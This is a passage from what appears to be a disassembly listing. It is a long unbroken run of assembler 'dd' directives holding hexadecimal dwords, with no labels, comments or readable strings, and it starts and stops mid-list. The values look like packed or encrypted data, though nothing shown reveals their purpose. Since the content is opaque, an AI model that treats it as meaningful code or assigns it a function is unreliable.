4825D8E1h, 1B1732CAh, 40BF3A1Fh, 0E95221F8h, 80803E71h dd 0A00B4EE5h, 0C5E096A3h, 0C495EEBFh, 0EFF36BEFh, 182105DDh dd 21D8B57Eh, 0E0AC2A24h, 78720C60h, 1DB87AD7h, 0CB812F54h dd 0DE755673h, 945EF52Fh, 125949E3h, 0A44629C5h, 5373F142h dd 0BD6CB5Dh, 57D0F659h, 58660618h, 6FEEE917h, 49DB8B40h dd 9D5E39A3h, 0C600637Ch, 19CBF02h, 14FC2FE9h, 0A90BDC45h dd 0A8385C79h, 0A9C2BD71h, 4A10E618h, 6BB55FC4h, 12BE8BEBh dd 10E0CBE9h, 44F607BBh, 0A0812841h, 635E67A3h, 584F56B0h dd 0A6B7A89h, 2FD7E143h, 2D68BE57h, 0F7E09DE9h, 9BB8D729h dd 0DF2EA448h, 0B8B050D2h, 25D3B958h, 8D088DDh, 24A57D25h dd 48BD5CAh, 1703D006h, 0FD3F2F02h, 5A027D70h, 7D0BFC8Ch dd 14880080h, 28DF090Eh, 69BA0F45h, 6B186DA8h, 0FF0D4220h dd 63AC5A12h, 5B3142BBh, 0AF847FAEh, 4FF0E8C9h, 0A1A530ADh dd 26BC2E4Dh, 42E5A40h, 29654314h, 4035A374h, 0BD4AE90Ch dd 5D5E0082h, 32905E46h, 5C592C40h, 152CE057h, 0D2C54F01h dd 87E641FEh, 6117134Ah, 41B3241Eh, 3B035D19h, 744ED84h dd 0C065EF0Ah, 0D6BF81A0h, 0BE011D0Fh, 0EF08E492h, 8F68C230h dd 3918B731h, 3DC90621h, 54C177EAh, 9F513001h, 0C3C06C41h dd 0EB801358h, 0E2E4AF05h, 4F80628h, 20885BFBh, 6FB085Ah dd 650F5ABh, 0E8305F16h, 7E52910Bh, 95A80DC5h, 564C206Dh dd 54555A2Fh, 0A08A027h, 21516858h, 99368BEh, 927D9B03h dd 4B407D1Bh, 78225507h, 0ACE92663h, 2A0A71Eh, 13BC6850h dd 0D9488425h, 8F2F6229h, 71D0BA00h, 4C684C02h, 0BEE2B200h dd 0E9D129C6h, 66635224h, 0AF5BA7A0h, 0D804EF34h, 2D0022A6h dd 0B9560D9Ah, 3B873151h, 676A0A3h, 2328AEF3h, 0CB040C11h dd 577E8810h, 0C0E134EBh, 2394619Eh, 0DA055802h, 5D1FFA10h dd 0F6250A54h, 0DE711580h, 619BE909h, 0C8FC1594h, 0C22700B9h dd 6248D158h, 5155722Eh, 25004B47h, 6C3A66E8h, 0AB690CCEh dd 6DDF0FCDh, 0BE044342h, 5FFD9085h, 8270E0B5h, 3D30354Ah dd 5E535F59h, 128FF61Eh, 2AF2EC80h, 4C5F5525h, 0D813A231h dd 0C8B90400h, 0FE762D50h, 2B8D15C0h, 0FD634FFDh, 7F0860F7h dd 909F49Eh, 0D54FE9CEh, 0CDD168FFh, 264E2658h, 0AF741E31h dd 0ED0F7344h, 0DD253B55h, 7698E581h, 0C5F01864h, 956F18C2h dd 66BB244Ah, 295B16EEh, 670FC7A9h, 0C381970h, 0A12F2384h dd 0D0BEA49h, 14040C08h, 1A97C500h, 1F83650Fh, 0EC4501EDh dd 178DA4E6h, 7BE9A85Fh, 1E04CA40h, 57D8284Bh, 0EEE6F4AEh dd 0A82E410Bh, 34A8FD52h, 0F05F1308h, 562AE9C9h, 0E777BC32h dd 5D900F4Fh, 0F40A0ECEh, 1D48D620h, 447158A0h, 37F87E65h dd 9916812h, 17500D60h, 5A2248CEh, 118B2938h, 0CE894B34h dd 8BCBB576h, 1E3BFC22h, 0BD946F94h, 1880205Ch, 0B938E825h dd 0F16C133Fh, 0EEDF0161h, 2B687C6Dh, 0A9017A8h, 0FC29591Eh dd 983E1851h, 2516503Ch, 0A9B434E1h, 2F150BCBh, 205E77C6h dd 524FFBCh, 0FD136328h, 3B82DF0h, 0C532521h, 0B7F2335h dd 23BDFEEEh, 9C3078BCh, 7FC38BAAh, 24B5EA33h, 75DA83B3h dd 14516110h, 9607E5C0h, 51080206h, 0F28103AFh, 4F97B905h dd 0D3F1577Fh, 9AF6BDAFh, 7101AE9Ch, 5A10D95Eh, 7138A44h dd 2D864BAEh, 475DC529h, 126E8ADFh, 0AEE392DEh, 0AC4FCAE3h dd 286210F5h, 0B389EC5Fh, 88EE95DAh, 0EF048167h, 0C301180h dd 28BD1680h, 3A574862h, 0E9120890h, 0B6AFE061h, 0E6862507h dd 66B2D4F6h, 95A9750Dh, 6B3AAFFFh, 554BC2B9h, 0D5E2F512h dd 0E9FD98D7h, 2AE2BDE7h, 64ED71FFh, 0EFFCBE2Ch, 48975AA8h dd 0D37F3615h, 52100B75h, 5AC53BF4h, 40F8CBB4h, 680557B2h dd 4A070536h, 3B5D80EAh, 0AC901944h, 69B6FD70h, 103E3E21h dd 0BF041E86h, 0B8CB7ED3h, 33C017DAh, 0CF81F21Dh, 4D255F13h dd 617F0C82h, 10586C1Ah, 0C04889E7h, 2F4ED412h, 20625A59h dd 0E1890398h, 3D0F9205h, 0CD0D7BF1h, 0B4780D0Bh, 0C8EA6312h dd 0EB4E2841h, 405ACFFAh, 0E91287B0h, 7C0AFC14h, 0F63A8358h dd 0A2A631B4h, 0D6035E9Dh, 908E6C1h, 0DF6FA472h, 0F30A548Fh dd 0A8021337h, 12CD3E0Ch, 248CBDE1h, 24FCB0FAh, 8EA034BCh dd 0E56701C5h dd 9E3B2C7h, 17277177h, 68E280F5h, 0B0A9440Fh, 1BC52C3h dd 0FC936E57h, 0EA454A26h, 0BF5CF22Ch, 0E94268DBh, 49E7087h dd 0A15316B8h, 1DE8BF5Bh, 88BF5230h, 0D0F3F6E8h, 586766C5h dd 0ED337AB8h, 11ED0B0Ah, 78AFFD08h, 2D7DACBh, 750F79C3h dd 0CC770E3Ah, 0E078275Dh, 55721277h, 820AA76h, 253FF6B7h dd 0B02802CCh, 5C092C45h, 7FB28FF2h, 23CC6522h, 8922BE03h dd 0D5400A5Eh, 592105A9h, 0BF4BDA04h, 4915C2Ch, 4B4A4411h dd 0C391C156h, 0EB679320h, 1C73C5BEh, 140887AFh, 5E2C072h dd 7F4CFD4Dh, 649A096Ch, 0D3318277h, 0E4DF415Ah, 0B63D733Fh dd 0A1CFD3D7h, 0D5BD1A01h, 3194F55Ch, 4AB9843h, 0CE2D6673h dd 24F8EE0Ch, 430F0537h, 1E070DDDh, 0B5E97074h, 59967579h dd 6900089Ah, 0BF4D9421h, 9CE702Fh, 1C78303h, 76A4C900h dd 0E7EC21EDh, 8244E509h, 3575803Dh, 1214C975h, 0B42595E9h dd 5F40BF36h, 53DF0CBAh, 9F0633Eh, 6E9F2409h, 0B9B07721h dd 3500E8D1h, 48A1D6E7h, 2DE9C329h, 90DC7C7Dh, 2D4C35C2h dd 0B5737CAEh, 5C958B88h, 59A0EECBh, 86BF215Ah, 9F2C6228h dd 21978641h, 4DE83FF5h, 1612B2D7h, 39EE1056h, 0CD81A8CAh dd 3BC9584Ah, 0B7CB5EE0h, 6C8B2E19h, 0A9937C7Fh, 0AC0B2668h dd 0B010FA15h, 7ADF690Ah, 0C6A8005Dh, 25A63FB0h, 0DE502971h dd 95D5C522h, 962FC266h, 7130141Fh, 9F5B7AB8h, 7E3211E1h dd 95174CB3h, 0A52EA959h, 496957C9h, 7DE1C3F0h, 0C1F4A30h dd 5BAA739Fh, 846504Bh, 2D140C68h, 1ABC7F16h, 1EEA2A4Ch dd 0CB03C92Dh, 6DDC4446h, 0BD6EEFD9h, 4808D21Eh, 7F702D13h dd 6588BD00h, 0F58150C6h, 3F690162h, 8EDC16Bh, 9A0EB45h dd 5C953BF9h, 4452657Fh, 0D805EF28h, 8895D4B9h, 0D1529048h dd 1CEE2175h, 0EA18E769h, 7797C456h, 707795BAh, 0A7689916h dd 12250C77h, 57CE2DE9h, 0C2E5462Eh, 0D368E90Ah, 3BE61704h dd 399544FAh, 42C70018h, 1BA66538h, 0E0194D3h, 81EE49F9h dd 534BC6C1h, 0D0DB3352h, 60B345C4h, 0F12B1814h, 729F3A69h dd 118A0991h, 0A6F05F0Dh, 196A1C0Ah, 0A200A922h, 0E94A4861h dd 0E36AE132h, 56BA4E05h, 6A2CEE64h, 82B8B950h, 41E95658h dd 0A4465357h, 2D0212B9h, 5BD2042h, 165CF840h, 0F00BE8C1h dd 0E14150F4h, 40B5E541h, 91E8B507h, 20EAC032h, 0FA63A32Dh dd 0FAD82110h, 360BFD2Fh, 95C43E77h, 0AF90E0A2h, 0CA1FBC08h dd 0BBDA9D60h, 0E8F18012h, 0D17A9BCh, 5499FE88h, 36AFC8C1h dd 7DBD1560h, 44292C12h, 0E0AB8B12h, 8D27E9B2h, 0F0852EFh dd 3FDB13EAh, 80C2277Fh, 0CD2FF9DDh, 67E27A18h, 0A51097D0h dd 69A94021h, 64243B00h, 98090CBAh, 0DA0124F7h, 548100Dh dd 0BF26859h, 0B9978BEDh, 642680DAh, 318170E4h, 10D22F6h dd 0DBFD3EF3h, 3225E6A4h, 0DDB8E515h, 7B29E449h, 5DA22BB8h dd 480530D4h, 2BB652D8h, 5C53D010h, 0D523508Ch, 76FC3E45h dd 15702705h, 9C13205h, 72F35F08h, 1216F188h, 7F6A0766h dd 3665A211h, 0DD4276F1h, 62E9DCC3h, 310311A0h, 0DCD8F9F1h dd 575CFAFFh, 7250945Eh, 0F7018014h, 0C2345197h, 0BF00CE2Fh dd 580E478Ah, 6301BE76h, 4F7B4401h, 0EBC37B52h, 0F27FCA61h dd 576907B8h, 84E92B66h, 4039AECCh, 238E666h, 0E7ED65DEh dd 0EDB4185Ch, 1C26B16Ch, 0C31DC180h, 0CBE969C9h, 58462B58h dd 0B5C72463h, 0CCAB1A13h, 175332A5h, 8EFE3293h, 0F6C9879Ch dd 6848A17Fh, 306B01DAh, 0F85C4794h, 0C8096003h, 0C1752D59h dd 4E306DF9h, 0E7552F06h, 0E91FF45Eh, 2980E724h, 5AD187CAh dd 0B841E6F7h, 2D503EBCh, 0AE4A7813h, 6421BCC7h, 477007D3h dd 169D1662h, 58549756h, 0E612B10Ch, 9F5AF449h, 0E408EA79h dd 0AA211660h, 0A82A1F8Dh, 5681350h, 3684EEFDh, 1581D3Dh dd 7D575AEBh, 2ED2750h, 6860EE54h, 4E4F5FAAh, 936DB719h dd 0A80C4B1h, 0B0505866h, 574F3498h, 19857F97h, 1FB13C88h dd 31C82804h, 2E05D5BEh, 0B301D544h, 0F217FF13h, 0DACA5E1h dd 176B105Fh, 0A9306C31h, 5E65685Dh, 0F49BBC43h, 582704C1h dd 0B045F470h, 27E9FCA8h, 0C8665B17h, 59C30124h, 0A326A002h dd 57DDC63h, 0B235A968h, 0B8500156h, 424A6DBEh, 5790006Ah dd 397F9E68h, 4BBD0356h, 7F5835ACh, 0EF7EFF2Dh, 76589580h dd 4B51E953h, 0E7AED012h, 0AC24C37h, 83ED87EFh, 0F15FFA92h dd 5AF1D521h, 2DE94DF8h, 564ACA8Ch, 0DE2FA40h, 594E22ECh dd 69EACFFAh, 0D4D3040Dh, 0A5EE5B0Bh, 7F14CA9Fh, 5A088282h dd 0CA9F75F2h, 0D2C3842Eh, 46052EBDh, 0AF78BA65h, 0AC28DE0h dd 35F84364h, 6DA802B4h, 305646D9h, 5187858h, 11E9268Ah dd 0B7A2EB8Fh, 0DD7789DFh, 5C9A5144h, 4232764h, 0FF5D504h dd 82BC446h, 49CC1AD0h, 3D3C57FEh, 58A2125Ch, 0FF54A3F5h dd 0D56F300Eh, 0CF76C5FAh, 29509101h, 6E80E9EAh, 117475FEh dd 0DD5BDF5Ah, 4EF6EBE0h, 0C876620Ch, 0A39030E1h, 562F74FCh dd 0D71C60CCh, 1122114h, 0E7B00393h, 75F61620h, 1570229h dd 0B38057EBh, 7618637Eh, 0B2F75895h, 0A5CEA5C7h, 2F2D94F7h dd 4D510E64h, 9685BF93h, 60A472E9h, 5A73E9D2h, 0CAEB76B7h dd 3E18BF17h, 18B91CD7h, 320C621Eh, 46F14889h, 923B202Ch dd 0D6E1C02Dh, 88B30984h, 1734A380h, 0FE509424h, 35FA28A2h dd 0EA925E5Fh, 95AC7012h, 9078B6F5h, 10166794h, 38EB6E29h dd 0C4306325h, 3CC20F6Eh, 6862FE96h, 787A6051h, 3C6B1C6h dd 71EF293Ch, 21BC0C05h, 44E402D1h, 0A0E414F1h, 0CF24D706h dd 7AE941BDh, 2FF93BAAh, 0F5133205h, 537B8835h, 0EC5B1BEEh dd 6C5846A8h, 0EA5F120Bh, 729D8F5Fh, 0A458B9F3h, 311F1732h dd 5583097Dh, 0BA8BF2E7h, 0D46008E7h, 104BEA01h, 56800A62h dd 3FCB5C8Dh, 3990E5D1h, 322BECC2h, 0FA6C4001h, 0A9FEB7F0h dd 0D7C4DFE9h, 4AC0535Ah, 0F45C3h, 64E12D6Fh, 0E9481195h dd 7F2A4C27h, 1451381Ah, 5F27541Eh, 6451EC39h, 1CC150F8h dd 0A462902h, 951425F0h, 6881697Bh, 45751C07h, 0F7BD983Bh dd 4A15310Bh, 89A4D460h, 0DC7C10E9h, 0C6BBF525h, 4DE0F0F1h dd 0BEDE82F7h, 83183E68h, 0FA484797h, 0FDFE4AA4h, 951E88h dd 6F2808A6h, 6B4FFE68h, 0D0FFAA25h, 8591ED4Bh, 459B832Ch dd 725ADD49h, 4796B52Eh, 4400FB17h, 0C0C1FEE2h, 0F6041EE9h dd 6787BAD1h, 0A2CDB652h, 0A7D1D9FCh, 264A923Eh, 611FFE6h dd 0E8109F67h, 0F2261375h, 0AAE7C4FEh, 0AA4A9CA2h, 2FCA813h dd 647F4B25h, 13749748h, 457B0259h, 0EBBD39DCh, 52C956D9h dd 5F7741BAh, 0EFCBD0F7h, 0A75E38AAh, 45C09187h, 9F875EA6h dd 0F102D87Ch, 0A809677Eh, 5F040797h, 90BE30E9h, 0FEB7B466h dd 2DADC44Ah, 0E1202507h, 0A5C9A758h, 939601D9h, 0D859CA88h dd 8EF01AF2h, 62C9244Bh, 0B649B1E0h, 9489448Bh, 0ECA8BB98h dd 0AE3855A9h, 0E9176FCAh, 2B4DA1BEh, 51F19FBCh, 7F446154h dd 0FFC321E4h, 6750DFCAh, 48DD34A2h, 0B0D32987h, 8100E961h dd 0A11E66F3h, 2ACCA60Ch, 39956655h, 0F4F4D5F7h, 1DD9B682h dd 2F39442Dh, 0B10FE77h, 0C05B2F07h, 129B0D4Ch, 0BC3A1709h dd 3C88871Ch, 0CFE7FF0Bh, 47C3E985h, 3EFAED1h, 0D7309AE3h dd 0AA31A06Eh, 575E244Eh, 0A53F69DCh, 90EF2886h, 8D1B727h dd 4EA50569h, 0DFE130EFh, 6017DD73h, 77BE8468h, 0C1E84707h dd 7E0349E9h, 10121493h dd 6F2089h, 0BE7CD81h, 92554505h, 20014B2Fh, 27CDF5B8h dd 31389912h, 0E02B64AEh, 0F3297543h, 0E1A561FEh, 0C104DEEFh dd 2E459D2Fh, 0E80964EBh, 257ED45Dh, 77B1E219h, 0F76207FCh dd 3E6A41F9h, 4E682050h, 69C7C559h, 1CFD2022h, 91905815h dd 1F11CB0Eh, 0D90172D7h, 0E3D1B4B3h, 0C580846Fh, 8958BB20h dd 4163A0Ch, 0A96861A8h, 8806CC70h, 0C66BC77Fh, 0AC660497h dd 4B5A1E91h, 9F0AE4F4h, 0DD7A4B56h, 0DD4971F1h, 0F7051F59h dd 9DEEFEEFh, 789AF014h, 0CAE1D5A9h, 0C1D59924h, 46C199EFh dd 0F8904590h, 5F544AB5h, 681C8BD8h, 0F5270E9Bh, 525A76B1h dd 4BC6AF20h, 172C1809h, 20A3582Dh, 9F806004h, 0E13F8F0Ch dd 3CB20E10h, 10FA96E7h, 914A07A4h, 0ED0DE23Ah, 0F8DDE67Ch dd 0D9E92FDEh, 0E186B1C1h, 0D0D7E880h, 0C5CE0AC7h, 0D8BEC683h dd 0D8E965F6h, 722D2A32h, 58E43C02h, 8A05C829h, 0DA622C07h dd 30420FFEh, 965D66D0h, 0E202F3DFh, 0F9A0895Ch, 0EE812BB4h dd 479832C9h, 3909AF3Eh, 273C56D2h, 515A3556h, 534608F0h dd 23FDE906h, 17E9904Dh, 0AF644A1Dh, 4C080950h, 289D27E1h dd 58BAD400h, 62FC8466h, 0EC3FF4C9h, 0A1A75452h, 1C92445Eh dd 0E970D59Eh, 0E8400A2Dh, 80282B6Ch, 309ED80h, 0C4071D68h dd 96B1279Eh, 0E9853867h, 0BAEC695Dh, 0B775FCA4h, 0F7067D1Bh dd 8B97F05Fh, 5834743Bh, 1C943EB6h, 92546A5h, 6D29262Dh dd 51454D4h, 3BD74507h, 99A41AA3h, 796A4216h, 0D2669877h dd 1869BDBh, 622517AAh, 9384Eh, 0AC43EEC6h, 5FD4E96Eh dd 0B54BD190h, 1CAF05C5h, 0F8FE6DEBh, 0C9B27C7Ah, 286DB7Fh dd 5923E9D5h, 0FE09736Bh, 762F74E4h, 18A10001h, 50420D1Eh dd 8CCD6824h, 0D1586900h, 2FE940E8h, 2BCA3A9Fh, 0F844F257h dd 2721966Ch, 574BFFF9h, 6A2B9996h, 2D088937h, 40BD0EF0h dd 27DC825h, 723ACE83h, 3C30225Dh, 595ADA91h, 0BD5F9236h dd 5550A08Dh, 277B24E9h, 12899341h, 0D27AEA3h, 44E118E5h dd 2A2AE07Bh, 0EA08CC89h, 5F0C6A95h, 0E9257372h, 0DCB5E22Ch dd 45F5A5CBh, 9F5E699Ah, 7AFEF442h, 0FB6095A2h, 9BFA3D12h dd 0DDF8D3DAh, 649CCBF8h, 30278348h, 4DBFE964h, 800EF2D3h dd 0F567CCCDh, 0EB5AC24Eh, 4A8BF5DEh, 20F4E62Ah, 584ED90Ah dd 0C0520F1Eh, 4FF0D253h, 660340DFh, 7A862D1Dh, 8B3BF82Ch dd 0DD3F1CBFh, 7ED4BFE2h, 13BCD9BFh, 55096728h, 5A31DF0Ch dd 5D04DA18h, 0DFF2D7ABh, 9EC20569h, 79BA5E57h, 42410902h dd 153335B9h, 0A1A2E912h, 0AFAA1438h, 6E033128h, 8CC4E5FAh dd 5A3E901h, 0D7BEF921h, 0D103AFCh, 8859096Fh, 2C64F7FAh dd 83A893FCh, 4A07BE56h, 465BBC42h, 643DB1C2h, 0D2140BC7h dd 7DF6AA1Ch, 1C52F3Fh, 6C896806h, 520BC863h, 0E771DB6h dd 96E34CFFh, 43295BD9h, 75A7EBD6h, 3E357CD1h, 60E64AA8h dd 16014749h, 0F4B0EE30h, 0AC544E34h, 0FE07A6A2h, 0F5F352F0h dd 5D5AD000h, 8F77222Dh, 1E10154Ah, 92680B07h, 82887160h dd 3C2B4D34h, 4609A17Fh, 54E6E537h, 804A3F3Ah, 0D88B013Bh dd 0FD2DC225h, 1DE9D701h, 2D4A4D66h, 68EF9700h, 424A8FEDh dd 775A2972h, 0E4AD1079h, 0BB533D3Ah, 175E3A05h, 0DBFE8187h dd 85E00494h, 1C331FD8h, 67610D6Dh, 80EAC018h, 0D46AC227h dd 0C3E95BB7h, 30D3C171h, 0B5400F2Fh, 0D8CA0481h, 0C0037E10h dd 0E7547F63h, 127A3B8h, 885CF94Ch, 0F22F0D36h, 85E97C8h dd 0B2CDE82Dh, 0C231C071h, 0F6C7B958h, 0D0CB1525h, 4874C945h dd 0F5977950h, 0C6B5EB1Eh, 32E90CF8h, 0D8D8FEEBh, 2F9816A4h dd 9E2306BEh, 0C1E5DCADh, 6855E868h, 0C1AFD2C3h, 41C301ACh dd 161DC5Bh, 0EE4277B6h, 0F65C0158h, 4EC2FE1h, 0B91E0648h dd 2D4D282Ch, 6820E7CEh, 62B6767Dh, 5CC5833Dh, 0E6BAB077h dd 3BC0286Ah, 7A4209B0h, 27DEF61h, 5F1AFFB0h, 0C29F25CEh dd 856179B5h, 88E011E9h, 1713803Dh, 0D0E00115h, 0F8EA4EE8h dd 7DCD206Eh, 694804BFh, 0C2F78715h, 10290B8Fh, 807A0E59h dd 3924685Ah, 5167E449h, 1AD0E2F4h, 1380D7B1h, 8728D8C1h dd 2C5B5348h, 1EC885A7h, 96249C2h, 0F3017EA3h, 90C8FEEAh dd 22138B68h, 82802CEDh, 4B42BA5Fh, 53C4AAB1h, 0A50FCAAh dd 0F1FAA4E9h, 0C7A85D13h, 0A588982Ah, 97426A4h, 4ECF9E72h dd 11D26805h, 0FC1BD34h, 0B900A55Ah, 1507F42h, 8C966C81h dd 0CCB81B24h, 0DFB81035h, 676B1658h, 5AD74209h, 99A674A9h dd 275496D1h, 0A4FBE4B1h, 3C12CE18h, 0C9125AB7h, 0EB4AFABCh dd 257FE58Ah, 0C2E83ECFh, 46401130h, 660F1287h, 0E15FBA3Ah dd 7E4A4F05h, 3F6BD380h, 0BBFF4AC4h, 887F752Dh, 869F3180h dd 2DCF1296h, 83756E68h, 1D39EE05h, 0C9EA2114h, 6CF76665h dd 9611F2EEh, 0A0749C83h, 2077504Ah, 5C28F5E2h, 9D1A8869h dd 575D580Bh, 6DA0C8B8h, 2ABB3BFDh, 6E8E483Dh, 68BB336Eh dd 0DB09F7FAh, 4EDFE5E9h, 3FC4BF94h, 0D64B9290h, 0A4F9AEAh dd 8E1B75E9h, 153CD78Ch, 0B49D4460h, 5AF77F13h, 0D00D7E8h dd 18803AA9h, 0B912BA05h, 12EE72ACh, 3B8CEFEEh, 4ABF0457h dd 83260A43h, 0D5B4805h, 0E982F6A8h, 0EEFE8886h, 6FFD4EBFh dd 0DA69466Ah, 7A8B9A61h, 52279DCEh, 2D4F703Ch, 0E90B0AB9h dd 764D219h, 651C6812h, 0C8D3BAE8h, 0E025E908h, 0AA30573Ah dd 2B17FDBEh, 92AC0740h, 1645B409h, 8E1A2B02h, 69EF1F5Eh dd 25DDA0FDh, 24C5A61h, 1E88312h, 0D141FB35h, 0BAA2B10h dd 0DACDEBB6h, 0E961EF2Eh, 313AC06Bh, 809F1AE0h, 7B75EA7Bh dd 9D5B1466h, 12F30D2Ah, 98C8AF51h, 0F2EA54FAh, 0A94A63BCh dd 0ED76B84Eh, 0A175E695h, 563F1E24h, 41C4FAF6h, 121A6786h dd 0E5422973h, 0EC080458h, 16FBA545h, 0ABB45604h, 0AB4BCD8Eh dd 0E7BA9F21h, 0D7599B42h, 0F13EF224h, 0AD717815h, 5163AE3Eh dd 0FE4F5893h, 0DA865B0Bh, 0B010186h, 0C013C27Dh, 0FA3103E2h dd 0B03A2134h, 0D80BF67Fh, 2285D04h, 7D5CE9E6h, 326CCC0Bh dd 62F75330h, 1620E581h, 0BE333068h, 97D817CCh, 688111F9h dd 78BF1A54h, 97C28DF4h, 0C20E64Ch, 5F53093Bh, 40F5315Bh dd 95408016h, 1AFE9923h, 808BEBCFh, 5740E2D5h, 1EB03283h dd 0C3F7264Eh, 4109BFD6h, 28FC5895h, 0B7835B66h, 2C698BC0h dd 786BEC7Fh, 6C85F7C1h, 65BB8007h, 7C5FCF4Bh, 0E9BB9184h dd 0FF58258Fh, 6325876Ch, 0E995F61Bh, 6C44F080h, 2BF084Ah dd 0E603B58Bh, 0A5F33C61h, 68386202h, 5BE65B1Dh, 4C4FDCF0h dd 29E46FCDh, 3FAD2712h, 3AC5ABC8h, 9FEB8080h, 0DD69025Ch dd 6809C653h, 7691E2AFh, 0C0D070D0h, 12F4E588h, 906B3C4Dh dd 3045F991h, 8FA5204Ah, 99145FCEh, 515AE895h, 7866810Fh dd 31384CABh, 95352C2Eh, 0A543AEE9h, 5FAD7FC7h, 0ECA3C405h dd 2A300B43h, 890EF73Fh, 0A07669C2h, 0B6E90B40h, 0C311F3AAh dd 5EF201D6h, 0D4102767h, 17680933h, 0D1B4D708h, 3B175A5Fh dd 56B4D2AAh, 10021BE0h, 504623B1h, 5B1DB230h, 0B14AB85Dh dd 322C5271h, 3C0676C1h, 38E5102Fh, 11235869h, 31A5F509h dd 9E0D8DFh, 647541EAh, 0FC6B1887h, 7C7FEE7Bh, 0DCC1EDF0h dd 97111E4h, 18310C86h, 0EA05F4EFh, 258B5AC6h, 0D1C831Ah dd 14001C08h, 0C92849E9h, 41FCF8A5h, 5734C0C2h, 3CFA8916h dd 41B2B35Bh, 612CEE4Fh, 30474A3Dh, 0E60A81B1h, 68B5CABDh dd 4D4CE951h, 0ED2614FEh dd 0CDC04E0Eh, 0E015C98h, 8798EA0h, 757AEB27h, 89622DAFh dd 0E6603EFAh, 69C217D5h, 0E7215DEAh, 80E02783h, 0F7FAB92Dh dd 7C50DF25h, 624B4785h, 1E492173h, 2570F4CFh, 54006E97h dd 5B668A33h, 0E481E845h, 0F7C8A6C1h, 5CE8EE04h, 0D0E4DCC5h dd 753BB898h, 0BD17C702h, 0C2388AC9h, 0F0C1DF7Dh, 800B3CE3h dd 2E761FBFh, 0A274B71Dh, 0E9412CACh, 9448D191h, 775D1614h dd 52081667h, 374900CBh, 2160EE3Bh, 0F82CCE4Bh, 7DDE5CF7h dd 45943004h, 0CF81AE58h, 0BB00BEEFh, 0E712641Eh, 0AFC5296Fh dd 80A0A2EFh, 6776BB53h, 681738F6h, 0F5D6F5CEh, 0D801001Fh dd 7EC0BD51h, 65094840h, 50D7F75Fh, 0A7CA028Dh, 0F989E6B3h dd 58D5765Fh, 48D23787h, 0C924A3BFh, 7FBF23Dh, 0C33FB7EEh dd 87BB375h, 35EF1700h, 29D1232Fh, 568FA2F9h, 2E762783h dd 0E6B3BB0Bh, 0FED4D76Fh, 0CCBAF013h, 0FC15E94Ch, 21EBFEE3h dd 17F11A01h, 5B021ADCh, 7671A568h, 20C86088h, 0D8977680h dd 6EFA9D47h, 0E73B55E0h, 9B0F7B39h, 64122046h, 0F4EA908Bh dd 32246863h, 2DC2C65Eh, 318D0B98h, 3BFC2EF2h, 0FC2EE441h dd 55F87F4Ah, 0FAA9E92Fh, 6C56364h, 0C3F8AEDh, 89A01753h dd 9484E237h, 9B68BD90h, 57640669h, 0D9F3558h, 48C1013Ch dd 8FEB7EB4h, 34545028h, 7AD105FFh, 0B9806F10h, 20117D3Bh dd 8325316Bh, 2570E6F6h, 0A9F17FD5h, 0A1535045h, 591E5B0Bh dd 93A8B167h, 15E805ADh, 63690C04h, 0CD85A217h, 0A4F73056h dd 0D8F74000h, 0C6EA6505h, 70357C01h, 50753222h, 0BF4A3238h dd 0E684F2C4h, 506017ACh, 0D24AC7EBh, 42FA094Eh, 0C328E99Ah dd 20D6E6DDh, 0F4C10720h, 7F46D298h, 0A8D2BB47h, 42D192F8h dd 21587552h, 606CFBA0h, 487A5216h, 3C8A32ADh, 0B2FEADC6h dd 93384C9h, 0BB3BEBE1h, 3AEEFB72h, 16D5C657h, 680B1B68h dd 0B0BD5F6Ah, 4FF0E992h, 0C743EF9Bh, 62C892A8h, 98A71CCEh dd 68124966h, 0DAC1F90h, 2D50DC9h, 5F32E9C4h, 3CE636A0h dd 160D956h, 0CF086452h, 9549818h, 65F82E4Eh, 0C5BC90FDh dd 19310410h, 0FFDDF779h, 0BBFB524h, 0AA01A99h, 3F7DD2BBh dd 0CB812101h, 43786DB1h, 13687230h, 0E1148E74h, 1A709D49h dd 2F38794h, 0D322F9EDh, 89DF3Bh, 36350CDFh, 123506EEh dd 0FDE5E903h, 5C50359Eh, 29D79756h, 0EE585709h, 4FA94CBDh dd 0E93491EFh, 75B138BFh, 0FEE1E716h, 401839FEh, 0DB6EC199h dd 0F84B2A4Eh, 0EED5055Bh, 0F76A0C19h, 0FB5F8A30h, 470BA572h dd 427D6E95h, 51080A5Ah, 0DAE1D62Dh, 46BA0616h, 0B19F3B5h dd 6C7311D6h, 8409F4B4h, 0F77A4217h, 79B58745h, 783DBF04h dd 9CBF9CBAh, 90297F40h, 0B2AAD35Dh, 5553C93Bh, 5B9273C7h dd 472D0C0Ch, 7B74AECFh, 0F0ADA301h, 0B64E3F1Ah, 61742D3Fh dd 0E9DF093Fh, 31E0C092h, 4ACCEEFEh, 0D779B8DBh, 0F591E090h dd 72B183FEh, 7EA9694Ch, 0E032C09h, 0B85F489h, 0BCFDDE81h dd 0C81DA20Bh, 5C296649h, 7020DCD0h, 86C39D26h, 336AE018h dd 0DFC6B734h, 126CFC95h, 75F1AD2Dh, 0B7511102h, 0D7E8017Ch dd 99263181h, 32AE4230h, 22C13289h, 5E1C3C31h, 9BD828EAh dd 526875CFh, 0AC0C19B6h, 39DA755Dh, 0DE989E5Eh, 8C024ABDh dd 6A404D53h, 50DB9EACh, 0C5979FB2h, 5CB3004Eh, 0E917C380h dd 0D2A07A2Fh, 5B4658D5h, 0B455D502h, 58FF2D20h, 0D0FCA2DAh dd 4768151Ch, 277D5557h, 237258D3h, 0E055EF01h, 0F93128B1h dd 58E11D70h, 1A3CFD1Bh, 83F4F1A5h, 0C7AE131Ch, 7301688Bh dd 0D4542DB4h, 4FD1E970h, 0E12FE421h, 630CE009h, 0F4075F47h dd 0BF2005E5h, 6C9A6307h, 6DE92FD1h, 0E74FB12Ch, 0E2A24E1Dh dd 1F4FD130h, 395B6F0Dh, 0E9822AE2h, 88D16040h, 8E3568C3h dd 0E4A25E9Fh, 489D218Ch, 56AA680Bh, 0B635951Bh, 8838BA93h dd 0BFBA0552h, 0BF0EA105h, 93EA5C0h, 6A1648C1h, 9FF38405h dd 80C2ABE7h, 2F80F4DFh, 6967BEDDh, 0D3D585DFh, 63DD62CCh dd 29CB905Dh, 0C23AD2EFh, 9F7E5004h, 407AEA52h, 80F41404h dd 661EBC0h, 0DBF60806h, 9FC64D70h, 0B5E00F71h, 48946846h dd 0ADE4B6Bh, 92A97827h, 5BF68022h, 0F0BDE7C1h, 0DB5C098Ah dd 0D7827E6h, 28D4A18h, 0EC45370Ch, 57F0A046h, 4EA817BFh dd 0C4A9E06Eh, 0F747662Dh, 0D805990Bh, 6C8CEAC3h, 0A34C4C11h dd 0F656C0E4h, 624FF52Eh, 